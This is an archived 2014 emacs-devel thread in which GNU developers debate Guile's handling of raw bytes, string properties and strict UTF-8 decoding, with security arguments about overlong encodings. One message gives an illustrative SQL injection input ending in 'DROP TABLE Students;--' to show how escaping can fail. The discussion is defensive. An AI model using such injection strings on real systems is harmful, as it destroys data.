[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    * I'm concerned that there are security implications to supporting the
      "raw byte" code points.  I can expand on this more if you'd like.

I'd like to know how it is that "raw bytes" have security implications.
Are there programs that make assumptions about the contents of strings?
That seems like bad design.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Supporting property lists in Scheme raises difficult questions

Do you mean text properties in strings, as in Emacs Lisp?  These are
more complicated than an ordinary property list on an object as a
whole.

    such as:

     * What should the Scheme procedures 'string=?' and 'equal?' do when
       comparing two strings with the equal character sequences but
       unequal property lists?

     * Should Scheme procedures such as 'substring', 'string-append',
       'string-upcase', etc, propagate the associated property list
       data?

     * What should Scheme's 'write' do when applied to a string that
       includes a property list?  ('write' is analogous to 'prin1').

The obvious first suggestion is to handle each one as Emacs Lisp does.
For printing, a different syntax might be needed to fit in with Scheme
printed representation conventions, but that is ok.

     * Are there security implications to carrying around and possibly
       propagating (via Scheme's "substring") extra information that is
       effectively invisible to all procedures that have ever been
       available in Scheme?

There are many ways to pass data from one piece of Scheme code to
another.  Is there any real, usable "security" now, that this would
reduce?  Can you give an example?

Given a self-contained Scheme program, it should be easy to determine
whether it ever examines or sets string text properties.  Is that enough
to provide the same "security" benefits in practice?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 > I'd like to know how it is that "raw bytes" have security implications.
 > Are there programs that make assumptions about the contents of strings?
 > That seems like bad design.

Yes, they do, and no, it's poor implementation, not bad design --
they're conforming to standards that say that string contents will
have a specific form and are unfortunately imperfectly protected from
invalid input by their I/O modules (for example, the \201 bug in Emacs
itself).

As a consequence it's often possible to crash a program that is
incompletely robust to invalid encodings.  If that program is a
spam/virus checker, and the problem is compounded by a site policy
that accepts mail when the checker fails, anything can happen.

That's just an example.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 > Given a self-contained Scheme program, it should be easy to determine
 > whether it ever examines or sets string text properties.  Is that enough
 > to provide the same "security" benefits in practice?

No.  Often systems are constructed by assembling separately developed
modules.  If a "security" module responsible for checking data
validity is property-oblivious, then maliciously crafted properties
may be able to cause "evil" behavior in a property-sensitive module
supposedly protected by the "security" module.

This kind of problem is often exposed when the "security" module was
designed for a Scheme version without some feature (here "string
properties"), and the infrastructure is updated to an interpreter
version with the feature.

You can impugn the skills of the programmers responsible, or say it's
all very hypothetical (which I admit, not being a cracker myself I
don't know how to turn such configurations into actual exploits), but
this is a common pattern for security breaches.  It's a great service
to the Internet community for the Guile developers to worry about it
and at least document the issues faced when using Guile.

Re: Emacs Lisp's future

[Mark H Weaver]

Richard Stallman <rms@gnu.org> writes:

>     * I'm concerned that there are security implications to supporting the
>       "raw byte" code points.  I can expand on this more if you'd like.
>
> I'd like to know how it is that "raw bytes" have security implications.

To give an example, consider a procedure that needs to pass a string
from an untrusted source to an SQL query.  To do this safely, it needs
to quote the string.  I haven't researched how to properly quote SQL
string literals, but in general, quoting is typically done by
recognizing some set of special characters that must be escaped, and
allowing all other characters through unmodified.

However, "raw byte" code points can be used to bypass such a quoting
mechanism, and thus send an unescaped closing quote to the SQL database
followed by arbitrary SQL commands.

A related problem has to do with the fact that naively implemented UTF-8
allows code points to be represented with more bytes than are actually
needed, essentially by padding the code point with leading zeroes and
then encoding with UTF-8 as if the high bits were non-zero.  For
example, the ASCII quote (") can be represented as the single byte 0x22,
the two byte sequence 0xC0 0xA2, etc.

UTF-8 decoders are supposed to detect and reject these "overlong"
encodings, but it is likely that many programs fail to do this.  Such
programs are usually vulnerable to these overlong encodings when trying
to detect special characters (e.g. for quoting/escaping) or when
validating inputs.

To cope with this, the Unicode standards require that UTF-8 codecs
reject overlong encodings and other invalid byte sequences.  This is in
direct conflict with the idea of "raw byte" code points, whose purpose
is to be tolerant of arbitrary byte sequences and to propagate them
unchanged.

FWIW, I agree that the Emacs behavior is desirable when editing a file
that may contain coding errors, but in most other cases (e.g. when
communicating with processes or network sockets) I think that it's more
appropriate to refuse to accept, produce, or propagate invalid UTF-8
such as overlong encodings.

      Mark

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Mark H Weaver <mhw@netris.org>
> Cc: monnier@iro.umontreal.ca,  dak@gnu.org,  dmantipov@yandex.ru,  emacs-devel@gnu.org,  handa@gnu.org,  eliz@gnu.org,  stephen@xemacs.org
> Date: Mon, 06 Oct 2014 02:21:41 -0400
> 
> A related problem has to do with the fact that naively implemented UTF-8
> allows code points to be represented with more bytes than are actually
> needed, essentially by padding the code point with leading zeroes and
> then encoding with UTF-8 as if the high bits were non-zero.  For
> example, the ASCII quote (") can be represented as the single byte 0x22,
> the two byte sequence 0xC0 0xA2, etc.
> 
> UTF-8 decoders are supposed to detect and reject these "overlong"
> encodings, but it is likely that many programs fail to do this.  Such
> programs are usually vulnerable to these overlong encodings when trying
> to detect special characters (e.g. for quoting/escaping) or when
> validating inputs.
> 
> To cope with this, the Unicode standards require that UTF-8 codecs
> reject overlong encodings and other invalid byte sequences.  This is in
> direct conflict with the idea of "raw byte" code points, whose purpose
> is to be tolerant of arbitrary byte sequences and to propagate them
> unchanged.

The obvious solution is to encode the raw bytes internally in a UTF-8
compatible way.  Which is what Emacs does in its buffers and strings,
as I'm sure you know.  Can't Guile do something similar?

> FWIW, I agree that the Emacs behavior is desirable when editing a file
> that may contain coding errors, but in most other cases (e.g. when
> communicating with processes or network sockets) I think that it's more
> appropriate to refuse to accept, produce, or propagate invalid UTF-8
> such as overlong encodings.

Emacs indeed rejects them, but that doesn't mean it disallows raw
bytes as part of otherwise valid UTF-8 content.  It's a fact of life
that such stray bytes sometimes happen, and users would be generally
unhappy if Emacs would reject a file because it had such bytes.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: Mark H Weaver <mhw@netris.org>
>> Cc: monnier@iro.umontreal.ca, dak@gnu.org, dmantipov@yandex.ru,
>> emacs-devel@gnu.org, handa@gnu.org, eliz@gnu.org, stephen@xemacs.org
>> Date: Mon, 06 Oct 2014 02:21:41 -0400
>> 
>> A related problem has to do with the fact that naively implemented UTF-8
>> allows code points to be represented with more bytes than are actually
>> needed, essentially by padding the code point with leading zeroes and
>> then encoding with UTF-8 as if the high bits were non-zero.  For
>> example, the ASCII quote (") can be represented as the single byte 0x22,
>> the two byte sequence 0xC0 0xA2, etc.
>> 
>> UTF-8 decoders are supposed to detect and reject these "overlong"
>> encodings, but it is likely that many programs fail to do this.  Such
>> programs are usually vulnerable to these overlong encodings when trying
>> to detect special characters (e.g. for quoting/escaping) or when
>> validating inputs.
>> 
>> To cope with this, the Unicode standards require that UTF-8 codecs
>> reject overlong encodings and other invalid byte sequences.  This is in
>> direct conflict with the idea of "raw byte" code points, whose purpose
>> is to be tolerant of arbitrary byte sequences and to propagate them
>> unchanged.
>
> The obvious solution is to encode the raw bytes internally in a UTF-8
> compatible way.  Which is what Emacs does in its buffers and strings,
> as I'm sure you know.  Can't Guile do something similar?

If an overlong UTF-8 byte sequence representing '"' is processed
transparently by Emacs, it will be reencoded into the original
afterwards and depending on the next processing stage might trip up
software afterwards.  Of course, it would have done equally so without
Emacs (or GUILE) in the middle.  The solution obviously is to use a
coding scheme for recoding that does _not_ reproduce unencodable bytes.
Now if the intermediate processing added escape characters for the
unencodable bytes, you can arrive at something like (using % for
unencodable)

[Input] Robert%");DROP TABLE Students;--
[quotified] "Robert\%\");DROP TABLE Students;--"
[cleanencoded] "Robert\\");DROP TABLE Students;--"
[Pasted into SQL command] Uh oh.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: David Kastrup <dak@gnu.org>
> Cc: Mark H Weaver <mhw@netris.org>,  rms@gnu.org,  monnier@iro.umontreal.ca,  dmantipov@yandex.ru,  emacs-devel@gnu.org,  handa@gnu.org,  stephen@xemacs.org
> Date: Mon, 06 Oct 2014 17:33:21 +0200
> 
> If an overlong UTF-8 byte sequence representing '"' is processed
> transparently by Emacs, it will be reencoded into the original
> afterwards and depending on the next processing stage might trip up
> software afterwards.

Indeed.  But that's what is expected from an editor: not to change the
stuff the user didn't touch.

> Of course, it would have done equally so without Emacs (or GUILE) in
> the middle.

Right.

> The solution obviously is to use a coding scheme for recoding that
> does _not_ reproduce unencodable bytes.

An editor such as Emacs cannot do that, I think.

Re: Emacs Lisp's future

[Mark H Weaver]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: Mark H Weaver <mhw@netris.org>
>> Cc: monnier@iro.umontreal.ca, dak@gnu.org, dmantipov@yandex.ru,
>> emacs-devel@gnu.org, handa@gnu.org, eliz@gnu.org, stephen@xemacs.org
>> Date: Mon, 06 Oct 2014 02:21:41 -0400
>> 
>> A related problem has to do with the fact that naively implemented UTF-8
>> allows code points to be represented with more bytes than are actually
>> needed, essentially by padding the code point with leading zeroes and
>> then encoding with UTF-8 as if the high bits were non-zero.  For
>> example, the ASCII quote (") can be represented as the single byte 0x22,
>> the two byte sequence 0xC0 0xA2, etc.
>> 
>> UTF-8 decoders are supposed to detect and reject these "overlong"
>> encodings, but it is likely that many programs fail to do this.  Such
>> programs are usually vulnerable to these overlong encodings when trying
>> to detect special characters (e.g. for quoting/escaping) or when
>> validating inputs.
>> 
>> To cope with this, the Unicode standards require that UTF-8 codecs
>> reject overlong encodings and other invalid byte sequences.  This is in
>> direct conflict with the idea of "raw byte" code points, whose purpose
>> is to be tolerant of arbitrary byte sequences and to propagate them
>> unchanged.
>
> The obvious solution is to encode the raw bytes internally in a UTF-8
> compatible way.  Which is what Emacs does in its buffers and strings,
> as I'm sure you know.  Can't Guile do something similar?

I'm afraid you've misunderstood, or perhaps I've failed to explain it
clearly.

It doesn't matter how these raw bytes are encoded internally.  No matter
what mechanism we use to accomplish it, propagating invalid byte
sequences by default is bad security policy.  It has the effect of
exposing all internal subsystems to malformed UTF-8 such as overlong
encodings unless users take explicit steps to check for them and remove
them.  This is a recipe for security holes.

The Unicode standard requires that all UTF-8 codecs refuse to accept,
produce, or propagate invalid byte sequences, including the troublesome
overlong encodings.  I'm not one for blindly following standards, but in
my opinion this is the default policy we should adopt.

Editing files is an unusual case.  Of course, we want users to be able
to edit a file with coding errors, and to leave any part of the file
untouched by the user exactly as it was.  Anything else would be a
mistake.

However, I would argue that even in Emacs, string<->bytevector
conversions should be strict by default, so that other uses of them
(e.g. communication over sockets, pipes, and encoding of command-line
arguments to subprocess) should be strict by default.  Even if you
disagree, I'd like the strict mode to remain the default in Guile.

      Mark

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: David Kastrup <dak@gnu.org>
>> Cc: Mark H Weaver <mhw@netris.org>, rms@gnu.org,
>> monnier@iro.umontreal.ca, dmantipov@yandex.ru, emacs-devel@gnu.org,
>> handa@gnu.org, stephen@xemacs.org
>> Date: Mon, 06 Oct 2014 17:33:21 +0200
>> 
>> If an overlong UTF-8 byte sequence representing '"' is processed
>> transparently by Emacs, it will be reencoded into the original
>> afterwards and depending on the next processing stage might trip up
>> software afterwards.
>
> Indeed.  But that's what is expected from an editor: not to change the
> stuff the user didn't touch.
>
>> Of course, it would have done equally so without Emacs (or GUILE) in
>> the middle.
>
> Right.
>
>> The solution obviously is to use a coding scheme for recoding that
>> does _not_ reproduce unencodable bytes.
>
> An editor such as Emacs cannot do that, I think.

It sure can.  Saving with a different encoding system than the one one
started with is always an option.  Not all encoding system variants need
to be lossless, and the choice how to treat non-encodable bytes can be
part of the coding system variant.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Mark H Weaver <mhw@netris.org>
> Cc: dak@gnu.org,  rms@gnu.org,  dmantipov@yandex.ru,  emacs-devel@gnu.org,  handa@gnu.org,  monnier@iro.umontreal.ca,  stephen@xemacs.org
> Date: Mon, 06 Oct 2014 12:27:35 -0400
> 
> > The obvious solution is to encode the raw bytes internally in a UTF-8
> > compatible way.  Which is what Emacs does in its buffers and strings,
> > as I'm sure you know.  Can't Guile do something similar?
> 
> I'm afraid you've misunderstood, or perhaps I've failed to explain it
> clearly.

I think I did understand your perfectly clear explanation.

> It doesn't matter how these raw bytes are encoded internally.  No matter
> what mechanism we use to accomplish it, propagating invalid byte
> sequences by default is bad security policy.

How can we be responsible for byte streams that originated outside?
That's the responsibility of the source.  And if there is a consumer,
then it is their responsibility not to trip upon such bytes.

But how can you refuse to copy such bytes when you are just a pipe
that is expected not to change anything it wasn't toild to?

Btw, Emacs doesn't expose the internal representation of these bytes
easily to Lisp programs.  That is, whenever any program tries to
access the character at that position, it gets the original raw byte
that was there before the string was read from outside.  A Lisp
program needs some very tricky and deliberate techniques to access the
internal representation of such bytes.  (It isn't "overlong", btw, we
just represent the 128 bytes as codepoints in the 0x3fffXX range, and
encode it in UTF-8 with 5 bytes.)

> The Unicode standard requires that all UTF-8 codecs refuse to accept,
> produce, or propagate invalid byte sequences, including the troublesome
> overlong encodings.

What Emacs does is interpret each byte of such invalid byte sequences
as a separate raw byte, and represent each one of them internally as
described above.  Emacs cannot "refuse to propagate" the original
sequence, because users of an editor expect it not to alter any part
of the input that wasn't explicitly modified by the user or commands
she invoked.

> I'm not one for blindly following standards, but in my opinion this
> is the default policy we should adopt.

So just passing a string unaltered through a Guile program would
change that string?  That sounds like unpleasant surprise for the
users, at least for Emacs users.  Emacs has been there around v20.x,
and we still carry the scars.  It would be a unwise, IMO, if Guile
would repeat those same mistakes.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:
 > > From: David Kastrup <dak@gnu.org>

 > Indeed.  But that's what is expected from an editor: not to change the
 > stuff the user didn't touch.

If the user thinks of the "stuff" as characters, they will be unhappy
if the editor displays raw bytes for something that could be decoded,
and they will prefer standards conforming output, if only in those
instances where non-conformant output results in an explosion in a
later processor.

Of course you are quite right that there are many cases where the user
would be happiest if the editor didn't touch byte sequence that the
user didn't explicitly tell it to touch.

My point is that neither approach is always right.

 > > The solution obviously is to use a coding scheme for recoding that
 > > does _not_ reproduce unencodable bytes.
 > 
 > An editor such as Emacs cannot do that, I think.

It should do so as an option, with the alternative being to ask for
confirmation (this would be automatically satisfied if input and
output rawbytes handlers were separate) if nonconforming output would
be produced.  Emacs of *all* editors should not produce non-conforming
output silently (unless explicitly silenced), even if it got
non-conforming input.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

> Btw, Emacs doesn't expose the internal representation of these bytes
> easily to Lisp programs.  That is, whenever any program tries to
> access the character at that position, it gets the original raw byte
> that was there before the string was read from outside.  A Lisp
> program needs some very tricky and deliberate techniques to access the
> internal representation of such bytes.  (It isn't "overlong", btw, we
> just represent the 128 bytes as codepoints in the 0x3fffXX range, and
> encode it in UTF-8 with 5 bytes.)

Oh.  Didn't we use 3byte surrogate words (also not valid Unicode but
encodable as 3 bytes) here?

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> It should do so as an option, with the alternative being to ask for
> confirmation (this would be automatically satisfied if input and
> output rawbytes handlers were separate) if nonconforming output would
> be produced.  Emacs of *all* editors should not produce non-conforming
> output silently (unless explicitly silenced), even if it got
> non-conforming input.

That sounds like you are talking about a processing pipe.  An editor is
not really the same.  Even for something like sed I'd expect no changes
in parts that are, well, not changed.  Much more so for a proper editor.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:
 > > From: Mark H Weaver <mhw@netris.org>

 > > It doesn't matter how these raw bytes are encoded internally.  No
 > > matter what mechanism we use to accomplish it, propagating
 > > invalid byte sequences by default is bad security policy.
 > 
 > How can we be responsible for byte streams that originated outside?

By taking responsibility for them. ;-)

 > That's the responsibility of the source.  And if there is a consumer,
 > then it is their responsibility not to trip upon such bytes.

Not in a security context.  In a security context, you want defense in
depth: all separately developed components cooperate in covering up
each others' bugs by handling input carefully and refusing to transmit
broken output unless that is explicitly requested by the consumer (and
you trust it to know what it's doing when it says, "don't worry, I can
handle anything"!)

 > But how can you refuse to copy such bytes when you are just a pipe
 > that is expected not to change anything it wasn't toild to?

By signaling an error and terminating.  That's what a conformant
Unicode process does.

Note that the standard doesn't say you have to throw away state and
give up entirely.  It just says that if you do try to continue, you're
not conforming any more.

 > > The Unicode standard requires that all UTF-8 codecs refuse to
 > > accept, produce, or propagate invalid byte sequences, including
 > > the troublesome overlong encodings.

Again, what the Unicode standard says is that a codec that does any of
those things may not call itself conformant.  It doesn't say anything
about nonconformant codecs -- which include all non-Unicode codecs, of
course.  So we already know that Emacs is going to be nonconformant in
some use cases.  However, it should be aware of the fact when it is
not conforming to applicable standards.

 > So just passing a string unaltered through a Guile program would
 > change that string?

If it is a stream of bytes which is alleged to conform to some
standard but in fact does not, a program should (in general IMO, and
by the Unicode standard if it claims Unicode conformance) signal an
error and stop.  If the program wishes to pick up where it left off in
nonconformant mode and continue processing, that's fine (but it isn't
conformant any more).  In other words, "correcting" the string would
be a nonconformant behavior.

But this must be an explicit decision by the program (and it mustn't
do that if the user wants conformance).  Mark is absolutely correct
that the Guile system should not default to non-conformance, and I
don't think Emacs based on Guile should either, but that's up to the
Emacs community to decide, of course.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Eli Zaretskii writes:
>  > > From: Mark H Weaver <mhw@netris.org>
>
>  > > It doesn't matter how these raw bytes are encoded internally.  No
>  > > matter what mechanism we use to accomplish it, propagating
>  > > invalid byte sequences by default is bad security policy.
>  > 
>  > How can we be responsible for byte streams that originated outside?
>
> By taking responsibility for them. ;-)
>
>  > That's the responsibility of the source.  And if there is a consumer,
>  > then it is their responsibility not to trip upon such bytes.
>
> Not in a security context.  In a security context, you want defense in
> depth: all separately developed components cooperate in covering up
> each others' bugs by handling input carefully and refusing to transmit
> broken output unless that is explicitly requested by the consumer (and
> you trust it to know what it's doing when it says, "don't worry, I can
> handle anything"!)

In a security relevant context, you would just not reencode before
passing the information back to the outside.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

David Kastrup <dak@gnu.org> writes:

> Eli Zaretskii <eliz@gnu.org> writes:
>
>> Btw, Emacs doesn't expose the internal representation of these bytes
>> easily to Lisp programs.  That is, whenever any program tries to
>> access the character at that position, it gets the original raw byte
>> that was there before the string was read from outside.  A Lisp
>> program needs some very tricky and deliberate techniques to access the
>> internal representation of such bytes.  (It isn't "overlong", btw, we
>> just represent the 128 bytes as codepoints in the 0x3fffXX range, and
>> encode it in UTF-8 with 5 bytes.)
>
> Oh.  Didn't we use 3byte surrogate words (also not valid Unicode but
> encodable as 3 bytes) here?

Actually, one could even use overlong encodings of 0--127 (to represent
raw bytes 128--255) and use only two bytes that way, but that's really
asking for reencoding trouble.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stefan Monnier]

Please, could you move this discussion elsewhere.  While I understand
the Guile developers might want to try and reuse either Emacs's code
or at least its design and expertise, this discussion is about Guile,
not about Emacs, so please move it to a Guile mailing-list.


        Stefan

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

     > I'd like to know how it is that "raw bytes" have security implications.
     > Are there programs that make assumptions about the contents of strings?
     > That seems like bad design.

    Yes, they do, and no, it's poor implementation, not bad design --
    they're conforming to standards that say that string contents will
    have a specific form and are unfortunately imperfectly protected from
    invalid input by their I/O modules (for example, the \201 bug in Emacs
    itself).

      ...If that program is a
    spam/virus checker,...

Do people write spam/virus checkers using Guile?

This issue is specifically about Guile.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

    However, I would argue that even in Emacs, string<->bytevector
    conversions should be strict by default,

What is a "bytevector"?  It doesn't appear in the Emacs Lisp
ref manual, so I suppose it is a concept from Scheme.
How would it relate into Emacs?  Maybe your suggestion is a good one.

    It doesn't matter how these raw bytes are encoded internally.  No matter
    what mechanism we use to accomplish it, propagating invalid byte
    sequences by default is bad security policy.

As a general matter, the policy that programs should not get upset
when they see invalid UTF-8 seems more secure than the policy that
programs should not propagate invalid UTF-8.  But, given the
situation, it isn't useful to debate that theoretical question.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

>     However, I would argue that even in Emacs, string<->bytevector
>     conversions should be strict by default,
>
> What is a "bytevector"?  It doesn't appear in the Emacs Lisp
> ref manual, so I suppose it is a concept from Scheme.
> How would it relate into Emacs?  Maybe your suggestion is a good one.

Unibyte string minus the string part.  Basically what decoding works
from to generate strings and vice versa.

But in GUILE, you cannot use string functions on them: they are
basically arrays with byte elements.

-- 
David Kastrup

Re: Emacs Lisp's future

[Mark H Weaver]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> Please, could you move this discussion elsewhere.  While I understand
> the Guile developers might want to try and reuse either Emacs's code
> or at least its design and expertise, this discussion is about Guile,
> not about Emacs,

I think this is false.  This discussion, initiated by Richard, is about
how Guile can adapt itself to better meet the needs of Emacs.  If the
discussion happens where very few Emacs users/developers are present,
then I don't see how it can be useful.

      Mark

Re: Emacs Lisp's future

[Mark H Weaver]

Richard Stallman <rms@gnu.org> writes:

>     However, I would argue that even in Emacs, string<->bytevector
>     conversions should be strict by default,
>
> What is a "bytevector"?

Bytevectors are packed arrays of unsigned integers < 256.  It is the
standard Scheme data type for performing binary I/O.  String operations
deliberately do not work on them.

In contrast, strings are packed arrays of characters, which in Scheme
are not integers but rather an abstract type representing Unicode code
points.

> How would it relate into Emacs?  Maybe your suggestion is a good one.

Implicit string<->bytevector conversions are needed almost every time a
string is passed to/from the C world, since most C APIs are based on
bytes not Unicode characters.  This includes I/O, command-line arguments
and environment variables (whether reading the ones given to us or
passing new ones down to subprocesses), POSIX file names, interfacing
with most C libraries, etc.

My suggestion is that these implicit conversions should be strict by
default.  IMO, only in specific cases (most notably when editing a file)
should invalid byte sequences by accepted, produced, or propagated.

The reasons are (1) to protect internal subsystems (subprocesses, C
functions linked with Guile, etc) from invalid input such as overlong
encodings, and (2) to catch errors early rather than silently producing
garbage in the face of programming errors.

However, it is of course up to the Emacs community to decide when
conversions should be strict.  Guile can provide both modes of
operation.

      Mark

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > That sounds like you are talking about a processing pipe.

No, I'm talking about a Unicode conformant process.  If you don't need
Unicode conformance and do need to emit garbage, you can specify a
Unicode-like but non-conformant codec.  All I'm saying (and Mark I
believe is on the smae page, if not the same octet) is that

(1) Emacs codecs corresponding to published standards (specifically,
    UTF-8 and other UTFs) should conform to those standards by
    default, even where that means annoying users (they'll learn to
    request non-conformant codecs if that's really what they want).

(2) Emacs should make special effort at conformance with Unicode
    because it is especially well-defined.

Making this pleasant for users will require some effort, but will be
well worth it in the end.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > In a security relevant context, you would just not reencode before
 > passing the information back to the outside.

That is ill-defined and almost surely not conforming to the process's
documentation, and therefore would not be acceptable in a security
context.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Richard Stallman writes:

 > Do people write spam/virus checkers using Guile?

I don't know.  Why do you care?  The example is valid, and they
*might*, in which case they need conservative (conformant when
conformance is implied by names, such as "UTF-8") behavior.  If such a
user discovers that Guile emits nonconformant UTF-8, they'll surely
have to wonder what other security holes they've imported by simply
selecting Guile as an application platform.

To put it another way, Mark said that Guile is intended to be useful
writing servers as well as interactive programs.  Spam checking is
simply a convenient example of a daemon application where undefined
behavior can easily result in undesired output.

However, the general principle is that undefined behavior can
sometimes be exploited, and therefore processes that run unattended
should have *all* their behavior defined.

This doesn't necessarily apply to Emacs, although I think it should.

Re: Emacs Lisp's future

[Stefan Monnier]

> I think this is false.  This discussion, initiated by Richard, is about
> how Guile can adapt itself to better meet the needs of Emacs.  If the
> discussion happens where very few Emacs users/developers are present,
> then I don't see how it can be useful.

I understand you want Emacs developers to participate.  But I don't want
Emacs's mailing list to be drowned any more than it already is.


        Stefan


PS: Also I don't see why this discussion is useful at all.  It's just
people arguing about opinions, which I can't imagine you need any more
of.  If you need to know how Emacs works, just ask us.

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: David Kastrup <dak@gnu.org>
> Date: Mon, 06 Oct 2014 19:58:08 +0200
> 
> David Kastrup <dak@gnu.org> writes:
> 
> > Eli Zaretskii <eliz@gnu.org> writes:
> >
> >> Btw, Emacs doesn't expose the internal representation of these bytes
> >> easily to Lisp programs.  That is, whenever any program tries to
> >> access the character at that position, it gets the original raw byte
> >> that was there before the string was read from outside.  A Lisp
> >> program needs some very tricky and deliberate techniques to access the
> >> internal representation of such bytes.  (It isn't "overlong", btw, we
> >> just represent the 128 bytes as codepoints in the 0x3fffXX range, and
> >> encode it in UTF-8 with 5 bytes.)
> >
> > Oh.  Didn't we use 3byte surrogate words (also not valid Unicode but
> > encodable as 3 bytes) here?
> 
> Actually, one could even use overlong encodings of 0--127 (to represent
> raw bytes 128--255) and use only two bytes that way, but that's really
> asking for reencoding trouble.

As a matter of fact, we use a 2-byte representation for them.  What I
wrote above about 5 bytes is incorrect, sorry.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    If the user thinks of the "stuff" as characters, they will be unhappy
    if the editor displays raw bytes for something that could be decoded,

What case does that refer to, concretely?

Emacs normally recognizes UTF-8 text and decodes it.  If some text
isn't proper UTF-8, it may use raw bytes for that text.  But when does
it do this for text that can be decoded as UTF-8?  I don't think
that ever happens.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

In the GNU Project, we do not "obey" standards.  Rather, we take them
into account when judging what is best for the program to do.

Emacs could conceivably report an error after decoding a file as UTF-8
which turns out to have invalid text.  That way, the user will have
the chance to decide whether to accept the decoding or not.  If the user
accepts it, the buffer should represent everything that is in the file.


-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

This discussion is about making Guile and Emacs work together.
I can't think of any other list that would be as good.
If this were an ongoing thing, perhaps we should make a new list,
but I don't think it will be needed.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    My suggestion is that these implicit conversions should be strict by
    default.

I see no problem with that.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

     > Do people write spam/virus checkers using Guile?

    I don't know.  Why do you care?

Because hypothetical examples that I think are unlikely to really
occur carry very little weight in this argument.

      If such a
    user discovers that Guile emits nonconformant UTF-8, they'll surely
    have to wonder what other security holes they've imported by simply
    selecting Guile as an application platform.

I don't think we should make practical decisions based on such "What
would they think?" arguments.  We should do what's right, and people
can think what they like.

    To put it another way, Mark said that Guile is intended to be useful
    writing servers as well as interactive programs.

This discussion is about Guile in the context of Emacs specifically.
"What Guile does" generally is a different, though related, topic.
Guile could follow the Unicode spec in normal operation, but offer
another mode that Emacs can use.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
